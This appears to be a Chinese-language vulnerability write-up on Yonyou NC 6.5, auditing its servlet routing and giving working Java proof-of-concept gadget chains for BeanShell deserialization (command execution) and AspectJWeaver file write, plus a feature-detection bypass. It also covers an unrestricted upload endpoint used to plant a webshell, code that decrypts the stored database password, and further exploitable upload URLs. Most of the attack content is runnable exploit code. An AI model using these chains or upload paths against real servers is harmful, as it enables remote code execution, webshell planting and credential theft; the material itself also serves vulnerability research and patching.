用友NC在java反序列化中也算典型的例子了,就简单的看一下

环境搭建参考:
用友nc6.5详细安装过程
用友6.5安装及配置注意要点

注意在配置数据源时,需要将 sqljdbc4.jar 包复制到 jdk/lib 目录下
添加远程调试:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

代码审计

先看看关键路由,在webapps/nc_web/WEB-INF/web.xml

1
2
3
4
<servlet> 
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>

发现 service 和 servlet 均由 NCInvokerServlet 处理
跟进到lib/fwserver.jarnc.bs.framework.server.InvokerServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = this.getParamValue(request, "security_token");
String userCode = this.getParamValue(request, "user_code");
if (userCode != null) {
InvocationInfoProxy.getInstance().setUserCode(userCode);
}

if (token != null) {
NetStreamContext.setToken(KeyUtil.decodeToken(token));
}

String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();

try {
if (pathInfo == null) {
throw new ServletException("Service name is not specified, pathInfo is null");
}

pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if (pathInfo.startsWith("/~")) {
moduleName = pathInfo.substring(2);
beginIndex = moduleName.indexOf("/");
if (beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex);
if (beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}

if (serviceName == null) {
throw new ServletException("Service name is not specified");
}

beginIndex = serviceName.indexOf("/");
if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
throw new ServletException("Service name is not specified");
}

serviceName = serviceName.substring(beginIndex + 1);
Object obj = null;

String msg;
try {
obj = this.getServiceObject(moduleName, serviceName);
} catch (ComponentException var76) {
msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
Logger.error(msg, var76);
throw new ServletException(msg);
}

获得 pathinfo 后,如果是以/~开头,截取第一部分为 moduleName,然后再截取第二部分为 serviceName,再根据getServiceObject(moduleName, serviceName)实现任意 Servlet 调用
所以说有三种触发方法:

1
2
3
/servlet/monitorservlet
/servlet/~ic/MonitorServlet
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet

BeanShell反序列化

网上基本都是关于 CNVD-2021-30167 的,但其实 BeanShell 也存在反序列化漏洞

看到bsh.XThis,它是bsh.This对象的子类,在 This 的基础上添加了通用接口代理机制的支持,也就是 InvocationHandler,XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法

它调用了 invokeImpl 方法

调用 invokeMethod 执行对应的方法

我们可以使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import bsh.Interpreter;
import bsh.NameSpace;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;

public class BeanShell {
public static void main(String[] args) throws Exception{
String compareMethod = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}";

Interpreter interpreter = new Interpreter();
interpreter.eval(compareMethod);

Class clz = Class.forName("bsh.XThis");
Constructor constructor = clz.getDeclaredConstructor(NameSpace.class, Interpreter.class);
constructor.setAccessible(true);
Object xt = constructor.newInstance(interpreter.getNameSpace(),interpreter);

InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);

Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
}

最终调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
start:1005, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeOnMethod:-1, Reflect (bsh)
invokeObjectMethod:-1, Reflect (bsh)
doName:-1, BSHPrimarySuffix (bsh)
doSuffix:-1, BSHPrimarySuffix (bsh)
eval:-1, BSHPrimaryExpression (bsh)
eval:-1, BSHPrimaryExpression (bsh)
evalBlock:-1, BSHBlock (bsh)
eval:-1, BSHBlock (bsh)
invokeImpl:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invokeMethod:-1, This (bsh)
invokeMethod:-1, This (bsh)
invokeImpl:-1, XThis$Handler (bsh)
invoke:-1, XThis$Handler (bsh)
compare:-1, $Proxy1 (com.sun.proxy)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)

漏洞修复:
https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced

移除了 Handler 类的 Serializable 接口

参考:
ysoserial-beanshell(CVE-2016-2510)
Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin

AspectJWeaver反序列化

发现存在依赖 aspectjweaver-1.7.4.jar ,配合 commons-collections 存在一个 non RCE 的任意文件写利用链

在类org.aspectj.weaver.tools.cache.SimpleCache中有一个继承 HashMap 的内部类 StoreableCachingMap

它重写了 HashMap 的 put 方法,传入的 key 为文件名,value 为写入文件的内容

跟进 writeToPath 方法

写入文件的路径为this.folder + File.separator + key,所以说只要能触发SimpleCache$StoreableCachingMap的 put 方法就能执行写文件操作

org.apache.commons.collections.map.LazyMap的 get 方法中调用了 put 方法

最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class AspectJWeaver {
public static void main(String[] args) throws Exception{
String filename = "test.jsp";
String filepath = "./";
String filecontent = "test123";

Constructor ctor = getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(filepath, 12);
Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

setAccessible(keyField);
keyField.set(node, entry);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
}

调用栈如下:

1
2
3
4
5
6
7
8
writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:362, HashMap (java.util)
put:492, HashMap (java.util)
readObject:309, HashSet (java.util)

也可以将原来的

1
Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));

改写成

1
Transformer ct = new FactoryTransformer(new ConstantFactory(filecontent.getBytes(StandardCharsets.UTF_8)));

用来绕过一些特征检测

参考:
自定义AspectJWeave gadget绕过serialKiller
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

grouptemplet任意文件上传

漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=364
漏洞描述:通过非法调用相关uapim接口构造恶意请求从而上传webshell实现任意文件上传

这个洞其实在2022年就爆出来了

看到hotwebs/uapim/WEB-INF/lib/uapim-server-core-0.0.1.jar,找到com.yonyou.uapim.web.controller.UploadController的 doGroupTempletUpload 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
@RequestMapping(
value = {"grouptemplet"},
method = {RequestMethod.POST}
)
public Boolean doGroupTempletUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String groupid = request.getParameter("groupid");
String fileType = request.getParameter("fileType");
String maxSize = request.getParameter("maxSize");
String tempPath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-imfile-temp-", (String)null);
String filePath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-static-pages-" + groupid + "-", (String)null);
IMLogger.info("单据信息上传临时目录名:" + tempPath);
IMLogger.info("单据信息上传真实目录名:" + filePath);
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(10485760);
factory.setRepository(new File(tempPath));
ServletFileUpload upload = new ServletFileUpload(factory);
if (maxSize != null && !"".equals(maxSize.trim())) {
upload.setSizeMax((long)(Integer.valueOf(maxSize) * 1024 * 1024));
}

try {
List<FileItem> items = upload.parseRequest(request);
Iterator i$ = items.iterator();

while(true) {
FileItem item;
do {
if (!i$.hasNext()) {
return null;
}

item = (FileItem)i$.next();
} while(item.isFormField());

String fileName = item.getName();
String fileEnd = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
if (fileType != null && !"".equals(fileType.trim())) {
boolean isRealType = false;
String[] arrType = fileType.split(",");
String[] arr$ = arrType;
int len$ = arrType.length;

for(int i$ = 0; i$ < len$; ++i$) {
String str = arr$[i$];
if (fileEnd.equals(str.toLowerCase())) {
isRealType = true;
break;
}
}

if (!isRealType) {
IMLogger.error("上传文件异常!文件格式不正确!");
return null;
}
}

String uuid = "head";
StringBuffer sbRealPath = new StringBuffer();
sbRealPath.append(filePath).append(uuid).append(".").append(fileEnd);
IMLogger.info("上传群组单据信息:" + sbRealPath.toString());
File file = new File(sbRealPath.toString());
FileUtil.makeDirectory(filePath);
item.write(file);
FileMeta filemeta = FileUploadService.upload((UFSClient)null, sbRealPath.toString());
String filePK = filemeta.getFilePK();
StringBuffer sb = new StringBuffer();
sb.append("window.returnValue='").append(fileName).append(",").append(uuid).append(".").append(fileEnd).append(",").append(file.length()).append("';");
sb.append("window.close();");
IMLogger.info("上传文件成功,信息:" + sb.toString());
}
} catch (Exception var22) {
Exception e = var22;
IMLogger.error("上传文件异常!上传失败:" + var22.toString(), var22);
response.setHeader("state", "fail");

try {
response.setHeader("error", URLEncoder.encode(e.getMessage(), "UTF-8"));
} catch (UnsupportedEncodingException var21) {
var21.printStackTrace();
}

return null;
}
}

发现文件后缀没有任何过滤,并且文件名也是固定值head

虽然显示 fail 了,但还是在hotwebs/uapim/static/pages/test成功写入shell

数据库解密

找到文件 ierp/bin/prop.xml,里面包含数据库的连接信息

1
2
3
4
5
<databaseUrl>jdbc:sqlserver://192.168.111.137:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl>
<user>sa</user>
<password>fhkjjjimdphmoecm</password>
<driverClassName>com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName>
<databaseType>SQLSERVER2008</databaseType>

发现密码被加密了,需要进行解密
系统会调用middleware/mw.jar中的nc.bs.mw.pm.MiddleProperty#decode()方法进行解密

反射调用了nc.vo.framework.rsa.Encode的 decode 方法
我们直接导入external/lib/basic.jar进行解密

1
2
3
4
5
6
7
8
import nc.vo.framework.rsa.Encode;

public class DbPasswdDecode {
public static void main(String[] args) {
Encode en = new Encode();
System.out.println(en.decode("fhkjjjimdphmoecm"));
}
}

总结

反序列化接口根据补丁还是很好找的,就不细说了,但利用需要相关的依赖,并不能通杀,所以接口再多也很鸡肋-v-

还有很多文件上传,都比较简单,就不多分析了
漏洞url:/mp/login/../uploadControl/uploadFile
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=342
漏洞描述:通过mp模块进行任意文件上传,从而上传webshell实现控制服务器,远程执行任意命令

漏洞url:/aim/equipmap/accept.jsp
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=281
漏洞描述:漏洞触发点在目标地址下/aim/equipmap/accept.jsp路径,构造POST数据包上传恶意文件

推荐一些技术文章:
某NC系统的命令执行漏洞ActionInvokeService的分析
用友NC历史漏洞(含POC)
用友nc远程命令执行漏洞分析
yonyou的一处JNDI审计